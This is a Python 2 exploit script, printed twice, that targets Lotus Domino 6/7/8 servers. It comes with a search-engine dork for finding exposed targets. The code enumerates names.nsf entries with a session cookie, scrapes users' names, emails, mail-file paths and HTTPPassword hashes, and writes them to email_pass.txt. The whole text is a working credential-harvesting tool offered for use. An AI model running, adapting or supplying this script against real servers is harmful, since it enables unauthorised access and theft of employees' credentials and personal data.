"""
REFERECES

https://www.openssl.org/news/changelog.html#x2
https://wiki.openssl.org/index.php/TLS1.3
https://developers.google.com/edu/python/regular-expressions
https://stackoverflow.com/questions/20045955/regex-pattern-in-python-for-parsing-html-title-tags
https://stackoverflow.com/questions/3334809/python-urllib2-how-to-send-cookie-with-urlopen-request
https://stackoverflow.com/questions/354883/how-to-return-multiple-values-from-a-function
https://regex101.com
https://www.exploit-db.com/exploits/3302

Mostly case you only can get access to the vulnerable page if you're using DomAuthSessID cookie!
"""

import urllib2
import re
import sys
import time
import os
import ssl

# EXPLOIT TITLE
# [LOTUS DOMINO 6/7/8 PASSWORD EXTRACTION - NEW METHOD TO AVOID OPENSSL ISSUES]
#
# EXPLOIT AUTHOR
# [github.com/w4fz5uck5]
#
# DORK
# [inurl:"names.nsf?opendatabase"]
#
# SOFTWARE TESTED
# [Lotus domino 6]
# [Should be vulnerable also on versions: 7 and 8]
#
# [SCRIPT METHODOLOGY]
# 1 - Check if vulnerable
# [foo.com/names.nsf/People?OpenView]
#
# 2 - Get unid
# [foo.com/names.nsf/$defaultview?Readviewentries&Start=<UNID>]
#
# 3 - Get password hashes
# [foo.com/names.nsf/$defaultview/<UNID>?OpenDocument]

CHECK_VULNEARBLE_PATH = "/names.nsf/People?OpenView"
UNID_PATH             = "/names.nsf/$defaultview?Readviewentries&Start=%s"
PASSWORD_PATH         = "/names.nsf/$defaultview/%s?OpenDocument"
COOKIE                = "<COOKIE>"         # Lotus Domino Current Session Cookie [CHANGE HERE]
UNID_LOOPS            = 1000000            # Lotus Domino UNID Quantity

# Main Class
class ExtractUserInformations():

    # Initialization function
    def __init__(self, *args):
        self.host  = args[0]

    def checkVulnerable(self):
        
        # SOME TIMES THIS OPTION IS NOT NECESSARY
        # if response len is small than 5000 bytes, you got error or the target isn't vulnerable!
        #if(len(self.makeRequest(CHECK_VULNEARBLE_PATH)) < 5000):
        #    print "[-] Target maybe is not vulnerable or you must to get valid credential!"
        #    print "[!] Maybe DomAuthSessId Cookie is necessary!"
        #    print "[!] Try to spray it ;)\n"
        #    sys.exit(0)

        print "[+] Target seems vulnerable, attacking!\n"

        return True

    # Save output (email:pass) to a file
    def saveOut(self, info):

        try:
            with open("email_pass.txt", "a") as f:
                f.write(info)
                f.close()
        except:
            raise IndexError

        return True

    # Function to send server requests
    def makeRequest(self, path):

        try:
            ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            # Craft Cookie and User-Agent headers
            opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx))
            # Maybe it's necessary to change it
            opener.addheaders.append(('Cookie', 'DomAuthSessId=%s' % COOKIE))
            opener.addheaders.append(('User-Agent',
                                      'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'))
            # Open website + path
            r = opener.open(self.host + path, timeout=60)
            # Return response
            return r.read()

        except Exception as e:
            print str(e)
            pass

    # This function will make regex for Users and Passwords from HTML Body
    # https://regex101.com/
    def makeRegex(self, method, response):

        try:
            # Regex for Users UNIDS
            if method == "users":

                regex = r'unid=(\"[^\ ]+)'
                regexUser = re.findall(regex, response, re.MULTILINE)[0].replace('"', "")

                return regexUser

            # Regex for Passwords Hashes and Emails
            elif method == "passEmail":
                # Get Employeer Informations
                regex_0 = r'\"\$dspMailDomain\"[^>]*value=(\"[^\ ]+.*\")'
                regexDomain = re.findall(regex_0, response, re.MULTILINE)[0].replace('"', "").split('\n')[0].replace('>', '')

                # Get Employeer Informations
                regex_1 = r'\"\$dspFullName\"[^>]*value=(\"[^\ ]+.*\")'
                regexFullName = re.findall(regex_1, response, re.MULTILINE)[0].replace('"', "").split('\n')[0]

                # Get MailFile Name
                regex_2 = r'\"MailFile\"[^>]*value=(\"[^\ ]+).$'   
                regexMailFile = sys.argv[1] + '/' + re.findall(regex_2, response, re.MULTILINE)[0].replace('"', "").replace('\\', '/')

                # Get Emails
                regex_3 = r'\"DisplayMailAddress\"[^>]*value=(\"[^\ ]+).$'
                regexEmails = re.findall(regex_3, response, re.MULTILINE)[0].replace('"', "")

                # Get Hashes
                regex_4 = r'\"HTTPPassword\"[^>]*value=(\"[^\ ]+).$'
                regexPasswords = re.findall(regex_4, response, re.MULTILINE)[0].replace('"', "")

                return {

                        "rDomain"   : regexDomain,
                        "rFullName" : regexFullName,
                        "rMailFile" : regexMailFile,
                        "rEmails"   : regexEmails,
                        "rPasswords": regexPasswords
                       }

        # Prevent [IndexError: list index out of range]
        except Exception as e:
            print str(e)
            pass

    # Get Accounts Password Hashes from UNID
    def GetPasswordsAndEmails(self):

        # Banner
        print "-= USER : PASS (format)"
        print "-= Users" + " " * 23 + "|:| PassHashes =-\n"

        # Array to append UNIDS
        UNID = []

        for loop in range(0, UNID_LOOPS):
            response = "".join(self.makeRequest(UNID_PATH % loop))
            # Check if is high than 1000 bytes
            if response > 1000:
                UNID.append(
                    self.makeRegex("users", response)
                )

                # Get UNID
                arrayUNID = UNID[loop]

                # Prevent [IndexError: list index out of range]
                if arrayUNID == None:
                    pass

                # print UNID
                try:
                    response = self.makeRequest(PASSWORD_PATH % arrayUNID)
                    if len(response) > 1000:

                            # Send Response to parse in regex function

                            DOMAIN      = self.makeRegex("passEmail", response)["rDomain"]
                            FULLNAME    = self.makeRegex("passEmail", response)["rFullName"]
                            MAILFILE    = self.makeRegex("passEmail", response)["rMailFile"]
                            EMAILS      = self.makeRegex("passEmail", response)["rEmails"]
                            PASSWORDS   = self.makeRegex("passEmail", response)["rPasswords"]

                            # USER:PASS
                            # Return account informations
                            fmt0 = ("%s-:-%s-:-%s-:-%s-:-%s" % (DOMAIN, FULLNAME, EMAILS, MAILFILE, PASSWORDS))

                            fmt1 = (
                                    "-------------.    \n   "    
                                    "DOMAIN       : %s\n   "  
                                    "FULLNAME     : %s\n   "  
                                    "EMAIL        : %s\n   "  
                                    "MAILFILE     : %s\n   "  
                                    "PASSWORD     : %s\n\n " % (DOMAIN, FULLNAME, EMAILS, MAILFILE, PASSWORDS)
                                )

                            # Check for format output parameters
                            if sys.argv[2] == "fmt1":
                                print fmt1
                                self.saveOut(fmt1)

                            else:
                                print fmt0
                                self.saveOut(fmt0)

                except Exception as e:
                    print str(e)
                    pass

        return True

if __name__ == "__main__":
    print "\nLOTUS DOMINO EXPLOIT (2007-0977 / 2005-2428)"
    print "                               by: @w4fz5uck5\n"
    print "This exploit works without python 'requests' module and the newest version from openssl"
    print "which doesn't support old SSL Ciphers! This shit pissing me off alot.. so..."
    print "i have created this script to bypass OpenSSL fucking update! >:( \n"
    print "Usage: %s  https://<HOST> <output format (fmt0/fmt1)>\n" % sys.argv[0]

    # Execute Main Class
    try:
        if sys.argv[1]:
            # Main function
            run = ExtractUserInformations(sys.argv[1])
            run.checkVulnerable()
            run.GetPasswordsAndEmails()
            print "[+] Output saved at: email_pass.txt"

    except:
        pass
        sys.exit(0)

46fd88b5d268e29a30c46dfc0652865ff3a03fff
"""
REFERECES

https://www.openssl.org/news/changelog.html#x2
https://wiki.openssl.org/index.php/TLS1.3
https://developers.google.com/edu/python/regular-expressions
https://stackoverflow.com/questions/20045955/regex-pattern-in-python-for-parsing-html-title-tags
https://stackoverflow.com/questions/3334809/python-urllib2-how-to-send-cookie-with-urlopen-request
https://stackoverflow.com/questions/354883/how-to-return-multiple-values-from-a-function
https://regex101.com
https://www.exploit-db.com/exploits/3302

Mostly case you only can get access to the vulnerable page if you're using DomAuthSessID cookie!
"""

import urllib2
import re
import sys
import time
import os
import ssl

# EXPLOIT TITLE
# [LOTUS DOMINO 6/7/8 PASSWORD EXTRACTION - NEW METHOD TO AVOID OPENSSL ISSUES]
#
# EXPLOIT AUTHOR
# [github.com/w4fz5uck5]
#
# DORK
# [inurl:"names.nsf?opendatabase"]
#
# SOFTWARE TESTED
# [Lotus domino 6]
# [Should be vulnerable also on versions: 7 and 8]
#
# [SCRIPT METHODOLOGY]
# 1 - Check if vulnerable
# [foo.com/names.nsf/People?OpenView]
#
# 2 - Get unid
# [foo.com/names.nsf/$defaultview?Readviewentries&Start=<UNID>]
#
# 3 - Get password hashes
# [foo.com/names.nsf/$defaultview/<UNID>?OpenDocument]

CHECK_VULNEARBLE_PATH = "/names.nsf/People?OpenView"
UNID_PATH             = "/names.nsf/$defaultview?Readviewentries&Start=%s"
PASSWORD_PATH         = "/names.nsf/$defaultview/%s?OpenDocument"
COOKIE                = "<COOKIE>"         # Lotus Domino Current Session Cookie [CHANGE HERE]
UNID_LOOPS            = 1000000            # Lotus Domino UNID Quantity

# Main Class
class ExtractUserInformations():

    # Initialization function
    def __init__(self, *args):
        self.host  = args[0]

    def checkVulnerable(self):
        
        # SOME TIMES THIS OPTION IS NOT NECESSARY
        # if response len is small than 5000 bytes, you got error or the target isn't vulnerable!
        #if(len(self.makeRequest(CHECK_VULNEARBLE_PATH)) < 5000):
        #    print "[-] Target maybe is not vulnerable or you must to get valid credential!"
        #    print "[!] Maybe DomAuthSessId Cookie is necessary!"
        #    print "[!] Try to spray it ;)\n"
        #    sys.exit(0)

        print "[+] Target seems vulnerable, attacking!\n"

        return True

    # Save output (email:pass) to a file
    def saveOut(self, info):

        try:
            with open("email_pass.txt", "a") as f:
                f.write(info)
                f.close()
        except:
            raise IndexError

        return True

    # Function to send server requests
    def makeRequest(self, path):

        try:
            ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            # Craft Cookie and User-Agent headers
            opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx))
            # Maybe it's necessary to change it
            opener.addheaders.append(('Cookie', 'DomAuthSessId=%s' % COOKIE))
            opener.addheaders.append(('User-Agent',
                                      'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'))
            # Open website + path
            r = opener.open(self.host + path, timeout=60)
            # Return response
            return r.read()

        except Exception as e:
            print str(e)
            pass

    # This function will make regex for Users and Passwords from HTML Body
    # https://regex101.com/
    def makeRegex(self, method, response):

        try:
            # Regex for Users UNIDS
            if method == "users":

                regex = r'unid=(\"[^\ ]+)'
                regexUser = re.findall(regex, response, re.MULTILINE)[0].replace('"', "")

                return regexUser

            # Regex for Passwords Hashes and Emails
            elif method == "passEmail":
                # Get Employeer Informations
                regex_0 = r'\"\$dspMailDomain\"[^>]*value=(\"[^\ ]+.*\")'
                regexDomain = re.findall(regex_0, response, re.MULTILINE)[0].replace('"', "").split('\n')[0].replace('>', '')

                # Get Employeer Informations
                regex_1 = r'\"\$dspFullName\"[^>]*value=(\"[^\ ]+.*\")'
                regexFullName = re.findall(regex_1, response, re.MULTILINE)[0].replace('"', "").split('\n')[0]

                # Get MailFile Name
                regex_2 = r'\"MailFile\"[^>]*value=(\"[^\ ]+).$'   
                regexMailFile = sys.argv[1] + '/' + re.findall(regex_2, response, re.MULTILINE)[0].replace('"', "").replace('\\', '/')

                # Get Emails
                regex_3 = r'\"DisplayMailAddress\"[^>]*value=(\"[^\ ]+).$'
                regexEmails = re.findall(regex_3, response, re.MULTILINE)[0].replace('"', "")

                # Get Hashes
                regex_4 = r'\"HTTPPassword\"[^>]*value=(\"[^\ ]+).$'
                regexPasswords = re.findall(regex_4, response, re.MULTILINE)[0].replace('"', "")

                return {

                        "rDomain"   : regexDomain,
                        "rFullName" : regexFullName,
                        "rMailFile" : regexMailFile,
                        "rEmails"   : regexEmails,
                        "rPasswords": regexPasswords
                       }

        # Prevent [IndexError: list index out of range]
        except Exception as e:
            print str(e)
            pass

    # Get Accounts Password Hashes from UNID
    def GetPasswordsAndEmails(self):

        # Banner
        print "-= USER : PASS (format)"
        print "-= Users" + " " * 23 + "|:| PassHashes =-\n"

        # Array to append UNIDS
        UNID = []

        for loop in range(0, UNID_LOOPS):
            response = "".join(self.makeRequest(UNID_PATH % loop))
            # Check if is high than 1000 bytes
            if response > 1000:
                UNID.append(
                    self.makeRegex("users", response)
                )

                # Get UNID
                arrayUNID = UNID[loop]

                # Prevent [IndexError: list index out of range]
                if arrayUNID == None:
                    pass

                # print UNID
                try:
                    response = self.makeRequest(PASSWORD_PATH % arrayUNID)
                    if len(response) > 1000:

                            # Send Response to parse in regex function

                            DOMAIN      = self.makeRegex("passEmail", response)["rDomain"]
                            FULLNAME    = self.makeRegex("passEmail", response)["rFullName"]
                            MAILFILE    = self.makeRegex("passEmail", response)["rMailFile"]
                            EMAILS      = self.makeRegex("passEmail", response)["rEmails"]
                            PASSWORDS   = self.makeRegex("passEmail", response)["rPasswords"]

                            # USER:PASS
                            # Return account informations
                            fmt0 = ("%s-:-%s-:-%s-:-%s-:-%s" % (DOMAIN, FULLNAME, EMAILS, MAILFILE, PASSWORDS))

                            fmt1 = (
                                    "-------------.    \n   "    
                                    "DOMAIN       : %s\n   "  
                                    "FULLNAME     : %s\n   "  
                                    "EMAIL        : %s\n   "  
                                    "MAILFILE     : %s\n   "  
                                    "PASSWORD     : %s\n\n " % (DOMAIN, FULLNAME, EMAILS, MAILFILE, PASSWORDS)
                                )

                            # Check for format output parameters
                            if sys.argv[2] == "fmt1":
                                print fmt1
                                self.saveOut(fmt1)

                            else:
                                print fmt0
                                self.saveOut(fmt0)

                except Exception as e:
                    print str(e)
                    pass

        return True

if __name__ == "__main__":
    print "\nLOTUS DOMINO EXPLOIT (2007-0977 / 2005-2428)"
    print "                               by: @w4fz5uck5\n"
    print "This exploit works without python 'requests' module and the newest version from openssl"
    print "which doesn't support old SSL Ciphers! This shit pissing me off alot.. so..."
    print "i have created this script to bypass OpenSSL fucking update! >:( \n"
    print "Usage: %s  https://<HOST> <output format (fmt0/fmt1)>\n" % sys.argv[0]

    # Execute Main Class
    try:
        if sys.argv[1]:
            # Main function
            run = ExtractUserInformations(sys.argv[1])
            run.checkVulnerable()
            run.GetPasswordsAndEmails()
            print "[+] Output saved at: email_pass.txt"

    except:
        pass
        sys.exit(0)
